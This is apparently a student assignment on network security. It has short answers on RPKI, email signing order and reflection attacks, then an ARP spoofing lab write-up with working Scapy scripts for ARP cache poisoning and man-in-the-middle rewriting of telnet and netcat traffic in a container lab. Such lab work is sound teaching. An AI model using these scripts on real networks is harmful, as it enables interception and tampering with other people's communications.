BGP, Signed and Encrypted e-mail, and ARP Spoofing

Table of Contents

Harsh Gaurang Kapadia

harshk@bu.edu

Assignment Questions

1 Review Questions

1.1 RPKI

RPKI consists of cryptographically signing the IP range of a particular Autonomous System (AS). Every AS creates a Route Authorization Object (ROA) which contains the AS Number (ASN), the IP range they can advertise and the extent to which the AS is allowed to announce more specific routes. This ROA is then signed by a chain of trust which includes IANA, the RIRs, ISPs and LSPs (Local Service Providers).

Any AS can advertise a particular IP prefix, but if their ROA is not valid, then the advertisement is dropped by other ASes. Advertisements can be valid only if the origin prefix advertising AS actually owns the IPs (which is validated by ROAs), because the RIRs and other authorities make sure that the prefix is allocated to that AS before signing the ROA. Thus, if a rogue AS advertises a prefix that doesn't belong to it or is more specific than it is allowed to advertise, then it won't have a valid ROA, which will make the other ASes drop that advertisement. This prevents Sub-Prefix Hijacking.

RPKI doesn't validate/authenticate the path taken by an advertisement. It only validates the IP prefix advertised by the origin AS. A rogue AS can use a valid ROA, add their AS Number to the path and advertise that, which makes the wrongly advertised path look like a shorter path to a few local ASes and they will divert traffic to it due to the shorter AS path length (the ROA in the two

advertisements is the same, so the prefix specific rule will not apply). Thus, RPKI does not prevent the One-Hop Attack.

1.2 Encrypt and Sign vs Sign and Encrypt

Attacks possible when one encrypts and then signs: The receiver of the ciphertext and signature can remove the signature, attach their own signature and then send the ciphertext and signature to someone else, claiming that the message came from them.

Attacks possible when one signs and then encrypts: Once the receiver has decrypted the ciphertext, they can encrypt the decrypted message data and signature under another sender's public key and then send it to them, claiming that the original sender sent them a message to carry out a particular action.

1.3 Reflection Attacks

Reflection Attacks are more powerful than typical Denial of Service (DoS) Attacks as they make the use of another service in the middle to send out responses to the victim servers for them. This helps in two ways. Not only does it help in masking the real attacker's IP address, but it also helps in using more powerful machines which might have larger responses (targeted at the victim servers) than requests (Amplification Attack) and the attacker might not be able to generate a lot of responses of those sizes due to a limit in their bandwidth. Reflection attacks also help an attacker who does not have a lot of resources to attack servers by making use of exploitable services and protocols such as DNS and NTP.

Protocols like DNS and NTP have debug commands that generate responses that are larger than requests. This is an Amplification Attack. These protocols run on UDP (which can be spoofed easily) and also respond to anyone asking them for this information (no authentication). The attacker just has to spoof a lot of UDP packets with the source IP as the victim servers' IP addresses and the open DNS and NTP services will flood the victims with loads of huge responses, causing them to get overwhelmed.

Signed and Encrypted e-mail

e-mail secret phrase: `lime hub stadium`

To start with sending an encrypted e-mail, I first decided upon a plan to send the e-mail. I decided that I would need two keypairs, one for someone to encrypt a message to me and one for me to sign messages to send to someone.

I then started learning about how I could go about encrypting and signing. I knew about OpenSSL and I had heard of PGP, so I first went and learnt about PGP, OpenPGP and GPG. I learnt about keypairs, how to generate secure keys, how to add images to keys, subkeys, key expirations and renewals, etc.

I was then confused between using OpenSSL and GPG, but after looking at the OpenSSL process, I went with GPG as it seemed simpler. I also decided to generate just one keypair for both encryption and signing, to make things simpler for me.

I generated a PGP keypair using GPG on the command line. I added Gabe's public PGP key to my GPG command line tool. I then encrypted my message to Gabe using his public key and signed it using my key.

To send an e-mail to Gabe, I just pasted the ciphertext and my public PGP key in Gmail and sent it to him.

My learnings on PGP and the articles I went through

ARP Spoofing

> All files

- Machine A
  - IP address: `10.9.0.5`
  - MAC address: `02:42:0a:09:00:05`
- Machine B
  - IP address: `10.9.0.6`
  - MAC address: `02:42:0a:09:00:06`
- Attacker machine M
  - IP address: `10.9.0.105`
  - MAC address: `02:42:0a:09:00:69`

Task 1

Task 1A

```
root@8c88f04611fb:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:69   C                     eth0
```

Machine A accepted the ARP request packet with B's IP address and M's MAC address.

Machine A accepted the ARP request packet because it was a packet destined to it and it needs to reply to the query, so it needs to store who asked the question, to be able to send the ARP reply to it.

```
#!/usr/bin/env python3
from scapy.all import *

ethernet = Ether()
ethernet.src = "02:42:0a:09:00:69"
ethernet.dst = "02:42:0a:09:00:05"

arp = ARP()
arp.op = 1 # ARP Request
```

```
arp.hwsrc = "02:42:0a:09:00:69"
arp.psrc = "10.9.0.6"
arp.hwdst = "02:42:0a:09:00:05"
arp.pdst = "10.9.0.5"

pkt = ethernet / arp
# print(pkt.show())

sendp(pkt)
```

Task 1B

```
root@8c88f04611fb:/# arp -n
root@8c88f04611fb:/#
```

Machine A did not accept the ARP reply packet with B's IP address and M's MAC address because it never sent an ARP request asking for B's MAC address.

```
#!/usr/bin/env python3
from scapy.all import *

ethernet = Ether()
ethernet.src = "02:42:0a:09:00:69"
ethernet.dst = "02:42:0a:09:00:05"

arp = ARP()
arp.op = 2 # ARP Reply
arp.hwsrc = "02:42:0a:09:00:69"
arp.psrc = "10.9.0.6"
arp.hwdst = "02:42:0a:09:00:05"
arp.pdst = "10.9.0.5"

pkt = ethernet / arp
# print(pkt.show())

sendp(pkt)
```

Task 1C

```
root@8c88f04611fb:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:69   C                     eth0
root@8c88f04611fb:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:69   C                     eth0
root@8c88f04611fb:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:70   C                     eth0
root@8c88f04611fb:/# arp -d 10.9.0.6
root@8c88f04611fb:/# arp -n
root@8c88f04611fb:/# arp -n
root@8c88f04611fb:/#
```

The first `arp -n` command is to showcase the mapping that already existed for machine B in machine A. The second command is after a Gratuitous ARP request was sent and it did update machine A, but due to the MAC values being the same, it was not easy to prove, so for the third command, the MAC value was tweaked in the Gratuitous ARP request packet for show purposes.

```
#!/usr/bin/env python3
from scapy.all import *

ethernet = Ether()
ethernet.src = "02:42:0a:09:00:69"
ethernet.dst = "ff:ff:ff:ff:ff:ff"

arp = ARP()
arp.op = 1 # ARP Request
arp.hwsrc = "02:42:0a:09:00:69"
arp.psrc = "10.9.0.6"
arp.hwdst = "ff:ff:ff:ff:ff:ff"
arp.pdst = "10.9.0.6"

pkt = ethernet / arp
# print(pkt.show())

sendp(pkt)
```

Task 2 Telnet

Task 2.1

The following code block will send ARP requests to machines A and B from machine M every two seconds, to maintain the ARP Spoofing.

```
from scapy.all import *
import time

MAC_A = "02:42:0a:09:00:05"
IP_A = "10.9.0.5"
```

```
MAC_B = "02:42:0a:09:00:06"
IP_B = "10.9.0.6"
MAC_M = "02:42:0a:09:00:69"
IP_M = "10.9.0.105"

# Maps B's IP to M's MAC in A
def pkt_to_A():
    ethernet = Ether()
    ethernet.src = MAC_M
    ethernet.dst = MAC_A

    arp = ARP()
    arp.op = 1
    arp.hwsrc = MAC_M
    arp.psrc = IP_B
    arp.hwdst = MAC_A
    arp.pdst = IP_A

    pkt = ethernet / arp
    return pkt

# Maps A's IP to M's MAC in B
def pkt_to_B():
    ethernet = Ether()
    ethernet.src = MAC_M
    ethernet.dst = MAC_B

    arp = ARP()
    arp.op = 1
    arp.hwsrc = MAC_M
    arp.psrc = IP_A
    arp.hwdst = MAC_B
    arp.pdst = IP_B

    pkt = ethernet / arp
    return pkt

# Keep sending these packets to respective hosts to maintain ARP spoof
while(True):
    sendp(pkt_to_A())
    sendp(pkt_to_B())

    time.sleep(2)
```

Task 2.2

Both Machine A and B are able to ping each other, but have a very high (> 80%) packet loss.

Before understanding the reason, it is important to note that we have a script (Task 2.1) that is maintaining the ARP Spoofing. Now, when the ping is issued, an ARP request is issued to find the

MAC address of the receiving host to be able to deliver it packets, if the ARP cache of the sender doesn't already have the required MAC address. If the ARP spoof is maintained, then the issued ARP request reaches attacker machine M and does not get a reply (due to the stoppage in IP forwarding), leading to packet loss. But if the ARP cache of the sender expires, it broadcasts an ARP Request. If the script sending packets in the background is not fast enough, the actual receiver might reply and set the correct value in the ARP cache of the sender, leading to correct packet delivery to the receiver. The script is successful in maintaining the spoof for most of the communication duration, which is why there is a very high (> 80%) packet loss.

> Wireshark trace

```
root@8c88f04611fb:/# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=9 ttl=64 time=0.332 ms
64 bytes from 10.9.0.6: icmp_seq=18 ttl=64 time=0.184 ms
64 bytes from 10.9.0.6: icmp_seq=19 ttl=64 time=0.171 ms
64 bytes from 10.9.0.6: icmp_seq=28 ttl=64 time=0.237 ms
64 bytes from 10.9.0.6: icmp_seq=29 ttl=64 time=0.103 ms
^C
--- 10.9.0.6 ping statistics ---
29 packets transmitted, 5 received, 82.7586% packet loss, time 28646ms
rtt min/avg/max/mdev = 0.103/0.205/0.332/0.076 ms
```

Machine A

```
root@9ec21f2d524d:/# ping 10.9.0.5
PING 10.9.0.5 (10.9.0.5) 56(84) bytes of data.
64 bytes from 10.9.0.5: icmp_seq=19 ttl=64 time=0.291 ms
64 bytes from 10.9.0.5: icmp_seq=29 ttl=64 time=0.151 ms
64 bytes from 10.9.0.5: icmp_seq=39 ttl=64 time=0.142 ms
64 bytes from 10.9.0.5: icmp_seq=50 ttl=64 time=0.236 ms
64 bytes from 10.9.0.5: icmp_seq=60 ttl=64 time=0.149 ms
^C
--- 10.9.0.5 ping statistics ---
60 packets transmitted, 5 received, 91.6667% packet loss, time 60408ms
rtt min/avg/max/mdev = 0.142/0.193/0.291/0.059 ms
```

Machine B

Task 2.3

Both Machine A and B are able to ping each other without any packet loss.

There is no packet loss because the attacker machine M acts as a IP forwarding machine due to the functionality being enabled. If the script (Task 2.1) is not able to maintain the spoof, then the correct mapping is generated, which allows correct communication. So be it spoofing or not, the packet gets delivered. Only in the case of spoofing, the attacker machine M can snoop on user data.

> Wireshark trace

```
root@8c88f04611fb:/# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=1 ttl=63 time=0.789 ms
From 10.9.0.105: icmp_seq=2 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=2 ttl=63 time=0.154 ms
From 10.9.0.105: icmp_seq=3 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=3 ttl=63 time=0.260 ms
From 10.9.0.105: icmp_seq=4 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=4 ttl=63 time=0.276 ms
From 10.9.0.105: icmp_seq=5 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=5 ttl=63 time=0.175 ms
From 10.9.0.105: icmp_seq=6 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=6 ttl=63 time=0.163 ms
64 bytes from 10.9.0.6: icmp_seq=7 ttl=63 time=0.197 ms
From 10.9.0.105: icmp_seq=8 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=8 ttl=63 time=0.140 ms
64 bytes from 10.9.0.6: icmp_seq=9 ttl=63 time=0.202 ms
64 bytes from 10.9.0.6: icmp_seq=10 ttl=64 time=0.256 ms
From 10.9.0.105: icmp_seq=11 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=11 ttl=63 time=0.169 ms
64 bytes from 10.9.0.6: icmp_seq=12 ttl=63 time=0.136 ms
64 bytes from 10.9.0.6: icmp_seq=13 ttl=63 time=0.118 ms
64 bytes from 10.9.0.6: icmp_seq=14 ttl=63 time=0.279 ms
64 bytes from 10.9.0.6: icmp_seq=15 ttl=63 time=0.136 ms
64 bytes from 10.9.0.6: icmp_seq=16 ttl=63 time=0.235 ms
From 10.9.0.105: icmp_seq=17 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=17 ttl=63 time=0.248 ms
64 bytes from 10.9.0.6: icmp_seq=18 ttl=63 time=0.116 ms
^C
--- 10.9.0.6 ping statistics ---
18 packets transmitted, 18 received, 0% packet loss, time 17361ms
rtt min/avg/max/mdev = 0.116/0.224/0.789/0.146 ms
```

Machine A

```
root@9ec21f2d524d:/# ping 10.9.0.5
PING 10.9.0.5 (10.9.0.5) 56(84) bytes of data.
64 bytes from 10.9.0.5: icmp_seq=1 ttl=63 time=0.076 ms
64 bytes from 10.9.0.5: icmp_seq=2 ttl=63 time=0.192 ms
64 bytes from 10.9.0.5: icmp_seq=3 ttl=63 time=0.137 ms
64 bytes from 10.9.0.5: icmp_seq=4 ttl=63 time=0.150 ms
64 bytes from 10.9.0.5: icmp_seq=5 ttl=63 time=0.197 ms
64 bytes from 10.9.0.5: icmp_seq=6 ttl=63 time=0.350 ms
64 bytes from 10.9.0.5: icmp_seq=7 ttl=63 time=0.205 ms
64 bytes from 10.9.0.5: icmp_seq=8 ttl=63 time=0.211 ms
64 bytes from 10.9.0.5: icmp_seq=9 ttl=64 time=0.150 ms
64 bytes from 10.9.0.5: icmp_seq=10 ttl=64 time=0.107 ms
64 bytes from 10.9.0.5: icmp_seq=11 ttl=63 time=0.764 ms
^C
--- 10.9.0.5 ping statistics ---
11 packets transmitted, 11 received, 0% packet loss, time 10244ms
rtt min/avg/max/mdev = 0.076/0.230/0.764/0.181 ms
```

Machine B

Task 2.4

As seen in the Machine A image below, the connection is established with IP forwarding enabled on attacker machine M and a test command `whoami` is fired, which succeeds. Then, IP forwarding is disabled on machine M and the Python script (in code block below) to modify the data is started. Further communication is all modified, until the aforementioned script is stopped and the IP forwarding is enabled once again (the last `whoami` command).

```
root@8c88f04611fb:/# telnet 10.9.0.6
Trying 10.9.0.6...
Connected to 10.9.0.6.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
9ec21f2d524d login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Mon Feb 27 19:54:12 UTC 2023 from A-10.9.0.5.net-10.9.0.0 on pts/5
seed@9ec21f2d524d:~$ whoami
seed
seed@9ec21f2d524d:~$ ZZZZZZ
-bash: ZZZZZZ: command not found
seed@9ec21f2d524d:~$ ZZZZZZ
-bash: ZZZZZZ: command not found
seed@9ec21f2d524d:~$ whoami
seed
```

Machine A

```
root@6d3f1dd3267a:/volumes# sysctl net.ipv4.ip_forward=1
net.ipv4.ip_forward = 1
root@6d3f1dd3267a:/volumes# sysctl net.ipv4.ip_forward=0
net.ipv4.ip_forward = 0
root@6d3f1dd3267a:/volumes# python3 sniff_spoof_2.4.py
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
^Croot@6d3f1dd3267a:/volumes# sysctl net.ipv4.ip_forward=1
net.ipv4.ip_forward = 1
```

Attacker Machine M

Any data that is being sent from machines A to B is modified to Z, other than the <kbd>Enter</kbd> key (so that data can be sent to machine B), as shown in the code block below:

```
#!/usr/bin/env python3
from scapy.all import *
```

```
IP_A = "10.9.0.5"
MAC_A = "02:42:0a:09:00:05"
IP_B = "10.9.0.6"
MAC_B = "02:42:0a:09:00:06"
IP_M = "10.9.0.105"
MAC_M = "02:42:0a:09:00:69"

def spoof_pkt(frame):
    if frame[IP].src == IP_A and frame[IP].dst == IP_B:
        # Create a new packet based on the captured one.
        # 1) We need to delete the checksum in the IP & TCP headers,
        # because our modification will make them invalid.
        # Scapy will recalculate them if these fields are missing.
        # 2) We also delete the original TCP payload.

        new_pkt = IP(bytes(frame[IP]))
        del(new_pkt.chksum)
        del(new_pkt[TCP].payload)
        del(new_pkt[TCP].chksum)

        # Construct the new payload based on the old payload.
        if frame[TCP].payload:
            original_data = frame[TCP].payload.load

            if(original_data == b"\r\x00"): # The 'Enter' key
                send(new_pkt/original_data)
            else:
                original_data_len = len(original_data)

                new_data = ""
                for i in range(original_data_len):
                    new_data += "Z"

                send(new_pkt/new_data)
        else:
            send(new_pkt)

    elif frame[IP].src == IP_B and frame[IP].dst == IP_A:
        # Create new packet based on the captured one
        new_pkt = IP(bytes(frame[IP]))
        del(new_pkt.chksum)
        del(new_pkt[TCP].chksum)
        send(new_pkt)

def filter_frame(frame):
    if(IP in frame and frame.src != MAC_M):
        return True
    else:
        return False
```

```
frame = sniff(iface = "eth0", lfilter = filter_frame, prn = spoof_pkt)
```

Task 3 Netcat

Task 3.1

Same as Task 2.1.

Task 3.2

When IP forwarding is disabled on the attacker machine M, packets cannot make it through and the sender keeps sending packets to the receiver as it does not get any response. Once the IP forwarding is enabled, only then does the receiver receive the data and display it on its console, as seen in the Machine B image below.

> Wireshark trace

```
root@8c88f04611fb:/# nc 10.9.0.6 9090
Selena Gomez
Harsh Kapadia
^C
```

Machine A

```
root@9ec21f2d524d:/# nc -lp 9090
Selena Gomez
Harsh Kapadia
```

Machine B

Task 3.3

In this case data reaches machine B from machine A and vice versa. When IP forwarding is enabled on the attacker machine M, it just forwards whatever it receives from A to B and vice versa, acting as an intermediary.

> Wireshark trace

```
root@8c88f04611fb:/# nc 10.9.0.6 9090
Selena Gomez
Harsh Kapadia
Selena Gomez
Lucas Cornelis van Scheppingen
Harsh Kapadia
^C
```

Machine A

```
root@9ec21f2d524d:/# nc -lp 9090
Selena Gomez
Harsh Kapadia
Selena Gomez
Lucas Cornelis van Scheppingen
Harsh Kapadia
```

Machine B

Task 3.4

Any plaintext data can be modified in ARP Spoofing, so this is what is demonstrated here on the Netcat protocol.

When IP forwarding is disabled on attacker machine M and the modifying Python script (in code block below) is run, any data containing a specific string is replaced. This effect is removed only after the script is stopped (as seen in the last line of the output in the Machine B image).

```
root@8c88f04611fb:/# nc 10.9.0.6 9090
Selena Gomez
I am Harsh Kapadia.
I am Selena Gomez.
I am Harsh Kapadia and this is an assignment for BU CAS CS 558.
I am Harsh Kapadia and not Lucas Cornelis van Scheppingen or Felix Arvid Ulf Kjellberg.
^C
```

Machine A

```
root@9ec21f2d524d:/# nc -lp 9090
Selena Gomez
I am AAAAA AAAAAAA.
I am Selena Gomez.
I am AAAAA AAAAAAA and this is an assignment for BU CAS CS 558.
I am Harsh Kapadia and not Lucas Cornelis van Scheppingen or Felix Arvid Ulf Kjellberg.
```

Machine B

```
root@6d3f1dd3267a:/volumes# sysctl net.ipv4.ip_forward=1
net.ipv4.ip_forward = 1
root@6d3f1dd3267a:/volumes# sysctl net.ipv4.ip_forward=0
net.ipv4.ip_forward = 0
root@6d3f1dd3267a:/volumes# python3 sniff_spoof_3.4.py
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
^Croot@6d3f1dd3267a:/volumes# sysctl net.ipv4.ip_forward=1
net.ipv4.ip_forward = 1
```

Attacker Machine M

If data that is being sent from machines A to B contains the string `Harsh Kapadia`, it is modified to `AAAAA AAAAAAA`, as shown in the code block below:

```
#!/usr/bin/env python3
from scapy.all import *

IP_A = "10.9.0.5"
MAC_A = "02:42:0a:09:00:05"
IP_B = "10.9.0.6"
MAC_B = "02:42:0a:09:00:06"
IP_M = "10.9.0.105"
MAC_M = "02:42:0a:09:00:69"

def spoof_pkt(frame):
    if frame[IP].src == IP_A and frame[IP].dst == IP_B:
        # Create a new packet based on the captured one.
        # 1) We need to delete the checksum in the IP & TCP headers,
        # because our modification will make them invalid.
        # Scapy will recalculate them if these fields are missing.
        # 2) We also delete the original TCP payload.

        new_pkt = IP(bytes(frame[IP]))
        del(new_pkt.chksum)
        del(new_pkt[TCP].payload)
        del(new_pkt[TCP].chksum)
```

```
        # Construct the new payload based on the old payload.
        if frame[TCP].payload:
            original_data = frame[TCP].payload.load

            if(b"Harsh Kapadia" in original_data):
                new_data = original_data.replace(b"Harsh Kapadia", b"AAAAA AAAAAAA")
                send(new_pkt/new_data)
            else:
                send(new_pkt/original_data)
        else:
            send(new_pkt)

    elif frame[IP].src == IP_B and frame[IP].dst == IP_A:
        # Create new packet based on the captured one
        new_pkt = IP(bytes(frame[IP]))
        del(new_pkt.chksum)
        del(new_pkt[TCP].chksum)
        send(new_pkt)

def filter_frame(frame):
    if(IP in frame and frame.src != MAC_M):
        return True
    else:
        return False

frame = sniff(iface = "eth0", lfilter = filter_frame, prn = spoof_pkt)
```